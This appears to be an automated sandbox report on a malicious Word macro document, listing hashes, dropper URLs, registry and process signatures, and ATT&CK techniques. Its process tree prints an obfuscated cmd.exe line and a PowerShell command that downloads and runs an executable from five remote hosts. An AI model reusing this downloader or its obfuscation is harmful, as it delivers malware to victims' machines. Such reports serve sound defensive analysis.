158bd5360e8a314ea7eb641808de86cde3e55bae9829d5c8f2a7e7e44b791b81

General

Target

8d1c3a8567d4783dd0eeda20eab00b5b_JaffaCakes118.doc
Size

69KB
MD5

8d1c3a8567d4783dd0eeda20eab00b5b
SHA1

9c993205778a28a8e71a0315c7c32ac46a36a405
SHA256

158bd5360e8a314ea7eb641808de86cde3e55bae9829d5c8f2a7e7e44b791b81
SHA512

05421d307d863a950715ea10ae40662d06d6d968b1c2f19c0a31a8d019f8e72a5c47e20750fbf53cf27c767febcc2df9bda024dc08fa146ddaaf9bb66eb5717a
SSDEEP

768:QpJcaUitGAlmrJpmxlzC+w99NB7+1oALIH5E+4Iwsp/6Z1DpXC:QptJlmrJpmxlRw99NB7+aA9+3wspyzV

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://bioners.com/X8nV8i

exe.dropper

http://otiaki.com/33EKwRe

exe.dropper

http://bc-cdc.org/x

exe.dropper

http://marienthal.info/gIAl3AM

exe.dropper

http://jingtianyanglao.com/iaM5oV8

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4644	1056	cmd.exe	81

Blocklisted process makes network request 7 IoCs

flow	pid	Process
33	3752	powershell.exe
38	3752	powershell.exe
42	3752	powershell.exe
43	3752	powershell.exe
48	3752	powershell.exe
50	3752	powershell.exe
54	3752	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
4644	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1056	WINWORD.EXE
1056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3752	powershell.exe
3752	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3752	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1056	WINWORD.EXE
1056	WINWORD.EXE
1056	WINWORD.EXE
1056	WINWORD.EXE
1056	WINWORD.EXE
1056	WINWORD.EXE
1056	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1056 wrote to memory of 4644	1056	WINWORD.EXE	89
PID 1056 wrote to memory of 4644	1056	WINWORD.EXE	89
PID 4644 wrote to memory of 3752	4644	cmd.exe	98
PID 4644 wrote to memory of 3752	4644	cmd.exe	98

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8d1c3a8567d4783dd0eeda20eab00b5b_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Windows\SYSTEM32\cmd.exe
  cmd /V/C"^se^t J^dk=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{hc^t^ac^};k^aerb^;^h^tw$^ m^e^t^I-^ek^ovn^I^;)^htw^$ ,J^Hq^$(^el^iFda^oln^woD^.c^dw^$^{^yr^t^{)Cli$^ ni^ ^JH^q^$(hca^er^of;'exe^.^'^+N^Jw$+^'\'+cilb^up^:vne^$=h^tw^$^;^'^0^9^9^' =^ N^Jw^$;)'^@'(^til^p^S^.^'^8Vo^5Ma^i/m^oc.oa^lgn^ayn^a^itgn^ij//^:^p^t^th@^M^A3lAIg/ofni.^l^a^htneiram//:^ptth@^x/^gro.cdc^-cb//:p^tt^h^@eR^wKE^3^3/moc^.^ikait^o//^:ptth@^i8Vn8X/moc.^sren^oib//:ptt^h'^=Cl^i$^;^tn^e^ilC^be^W^.^teN^ ^tc^ej^b^o^-wen=c^dw$^ ^l^l^eh^sr^e^w^o^p&&for /L %^e ^in (^3^47^;^-^1^;^0)d^o s^e^t 8^T^B=!8^T^B!!J^dk:~%^e,1!&&i^f %^e ^l^e^q ^0 c^a^ll %8^T^B:^*^8^TB!^=%"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:4644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $wdc=new-object Net.WebClient;$ilC='http://bioners.com/X8nV8i@http://otiaki.com/33EKwRe@http://bc-cdc.org/x@http://marienthal.info/gIAl3AM@http://jingtianyanglao.com/iaM5oV8'.Split('@');$wJN = '990';$wth=$env:public+'\'+$wJN+'.exe';foreach($qHJ in $ilC){try{$wdc.DownloadFile($qHJ, $wth);Invoke-Item $wth;break;}catch{}}
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD90CF.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jgfkbkj4.0i0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\990.exe

Filesize
1KB

MD5
9d712bb18c59707f51e96012d0f669fc

SHA1
b2b69a0063cadf3791fc2ced2b1c948d437a196a

SHA256
dd64b1ebae3614e1c3880de3ca2fcf5890e9b81fc7eac0018fe3eec4baed1b73

SHA512
01f337f2c65f16cb694aee9a52cb54d54ed0c7e8fcaf08ccc9638d6661bbf7049eb51fd0c695016a4c7c96028860476026f9e65d3d4e021bc8572949690555a6

Download Submit
memory/1056-18-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-10-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-5-0x00007FFCD90ED000-0x00007FFCD90EE000-memory.dmp

Filesize
4KB

Download
memory/1056-37-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-7-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-9-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-11-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-42-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-8-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-13-0x00007FFC96870000-0x00007FFC96880000-memory.dmp

Filesize
64KB

Download
memory/1056-12-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-14-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-15-0x00007FFC96870000-0x00007FFC96880000-memory.dmp

Filesize
64KB

Download
memory/1056-41-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-16-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-0-0x00007FFC990D0000-0x00007FFC990E0000-memory.dmp

Filesize
64KB

Download
memory/1056-6-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-3-0x00007FFC990D0000-0x00007FFC990E0000-memory.dmp

Filesize
64KB

Download
memory/1056-17-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-43-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-4-0x00007FFC990D0000-0x00007FFC990E0000-memory.dmp

Filesize
64KB

Download
memory/1056-573-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-2-0x00007FFC990D0000-0x00007FFC990E0000-memory.dmp

Filesize
64KB

Download
memory/1056-1-0x00007FFC990D0000-0x00007FFC990E0000-memory.dmp

Filesize
64KB

Download
memory/1056-546-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-547-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-548-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-549-0x00007FFCD9050000-0x00007FFCD9245000-memory.dmp

Filesize
2.0MB

Download
memory/1056-571-0x00007FFC990D0000-0x00007FFC990E0000-memory.dmp

Filesize
64KB

Download
memory/1056-570-0x00007FFC990D0000-0x00007FFC990E0000-memory.dmp

Filesize
64KB

Download
memory/1056-572-0x00007FFC990D0000-0x00007FFC990E0000-memory.dmp

Filesize
64KB

Download
memory/1056-569-0x00007FFC990D0000-0x00007FFC990E0000-memory.dmp

Filesize
64KB

Download
memory/3752-53-0x000002388AE30000-0x000002388AE52000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads